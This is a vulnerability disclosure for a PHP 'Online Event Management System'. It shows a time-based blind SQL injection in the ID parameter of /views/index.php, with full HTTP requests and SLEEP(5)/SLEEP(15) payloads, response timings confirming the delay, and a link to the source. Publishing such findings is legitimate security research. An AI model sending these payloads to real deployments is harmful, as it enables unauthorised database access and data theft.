

SQL injection vulnerability exists in ID parameter of /views/index.php file of Online Event Management System

Important user data or system data may be leaked and system security may be compromised

The environment is secure and the information can be used by malicious users.

Sleep time is 5s:

Request

```
1 GET /eventmanagement/views/?ID=1+AND+(SELECT+3641+FROM+(SELECT(SLEEP(5)))hfkS)&v=USER HTTP/1.1
2 X-Requested-With: XMLHttpRequest
3 Referer: http://192.168.31.163/eventmanagement/
4 Cookie: PHPSESSID=cfdvfdp660ria3k3p660s7mmnf
5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
6 Accept-Encoding: gzip,deflate,br
7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
8 Host: 192.168.31.163
9 Connection: Keep-alive
```

Response

```
1 HTTP/1.1 200 OK
2 Server: nginx/1.15.11
3 Date: Mon, 08 Apr 2024 14:05:54 GMT
4 Content-Type: text/html; charset=UTF-8
5 Connection: keep-alive
6 X-Powered-By: PHP/7.3.4
7 Expires: Thu, 19 Nov 1981 08:52:00 GMT
8 Cache-Control: no-store, no-cache, must-revalidate
9 Pragma: no-cache
10 Content-Length: 5295
11
12 <!DOCTYPE html>
13 <html>
14 <head>
15 <meta charset="utf-8">
16 <meta http-equiv="X-UA-Compatible" content="IE=edge">
17 <title>
18 View User Details
19 </title>
20 <!-- Tell the browser to be responsive to screen width -->
21 <meta content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no" name="viewport">
22 <!-- Bootstrap 3.3.5 -->
23 <link rel="stylesheet" href="/eventmanagement/bootstrap/css/bootstrap.min.css">
24 <!-- Font Awesome -->
25 <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/font-awesome/4.4.0/css/font-awesome.min.css">
26 <!-- Ionic -->
27 <link rel="stylesheet" href="https://code.ionicframework.com/ionicons/2.0.1/css/ionicons.min.css">
```

Inspector

Selection: 8

Selected text: SLEEP(5)

Decoded from: URL encoding

Request Attributes: 2

Request Query Parameters: 2

Request Body Parameters: 0

Request Cookies: 1

Request Headers: 8

Response Headers: 9

Done

5,595 bytes | 5,007 millis

Sleep time is 15s:

Request

```
1 GET /eventmanagement/views/?ID=1+AND+(SELECT+3641+FROM+(SELECT(SLEEP(15)))hfkS)&v=USER HTTP/1.1
2 X-Requested-With: XMLHttpRequest
3 Referer: http://192.168.31.163/eventmanagement/
4 Cookie: PHPSESSID=cfdvfdp660ria3k3p660s7mmnf
5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
6 Accept-Encoding: gzip,deflate,br
7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
8 Host: 192.168.31.163
9 Connection: Keep-alive
```

Response

```
1 HTTP/1.1 200 OK
2 Server: nginx/1.15.11
3 Date: Mon, 08 Apr 2024 14:06:53 GMT
4 Content-Type: text/html; charset=UTF-8
5 Connection: keep-alive
6 X-Powered-By: PHP/7.3.4
7 Expires: Thu, 19 Nov 1981 08:52:00 GMT
8 Cache-Control: no-store, no-cache, must-revalidate
9 Pragma: no-cache
10 Content-Length: 5295
11
12 <!DOCTYPE html>
13 <html>
14 <head>
15 <meta charset="utf-8">
16 <meta http-equiv="X-UA-Compatible" content="IE=edge">
17 <title>
18 View User Details
19 </title>
20 <!-- Tell the browser to be responsive to screen width -->
21 <meta content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no" name="viewport">
22 <!-- Bootstrap 3.3.5 -->
23 <link rel="stylesheet" href="/eventmanagement/bootstrap/css/bootstrap.min.css">
24 <!-- Font Awesome -->
25 <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/font-awesome/4.4.0/css/font-awesome.min.css">
26 <!-- Ionic -->
27 <link rel="stylesheet" href="https://code.ionicframework.com/ionicons/2.0.1/css/ionicons.min.css">
```

Inspector

Selection: 9

Selected text: SLEEP(15)

Decoded from: URL encoding

Request Attributes: 2

Request Query Parameters: 2

Request Body Parameters: 0

Request Cookies: 1

Request Headers: 8

Response Headers: 9

Done

5,595 bytes | 15,009 millis

Payload: ID=1+AND+(SELECT+3641+FROM+(SELECT(SLEEP(15)))hfkS)

Source Download:

<https://www.campcodes.com/projects/php/event-management-system-in-php/>